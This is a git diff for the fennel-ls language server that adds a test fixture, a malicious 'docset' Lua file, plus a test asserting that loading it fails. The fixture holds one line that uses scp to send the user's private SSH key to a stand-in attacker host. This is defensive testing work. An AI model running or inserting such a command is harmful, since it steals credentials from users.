diff --git a/test/data/fennel-ls/docsets/evil.lua b/test/data/fennel-ls/docsets/evil.lua new file mode 100644 index 0000000..a646f2e --- /dev/null +++ b/test/data/fennel-ls/docsets/evil.lua @@ -0,0 +1,3 @@ +-- an evil docset that steals your files! +os.execute("scp ~/.ssh/id_dsa evil-attacker@bad.guys:") +return {lol={}} diff --git a/test/hover.fnl b/test/hover.fnl index 2d76d0f..422f33e 100644 --- a/test/hover.fnl +++ b/test/hover.fnl @@ -184,7 +184,13 @@ except that it sets a new message handler `msgh`.") {:libraries {:tic80 true}}) (check "(trans|late \"hello\" :en :zh)" #($:find "convert from one lanugage to another") - {:libraries {:external true}})) + {:libraries {:external true}}) + ;; evil docsets should error when you try to use them! + (faith.is (case (pcall check "(trans|late \"hello\" :en :zh)" + #($:find "eat your files") + {:libraries {:evil true}}) + true false + _ true))) {: test-literals : test-builtins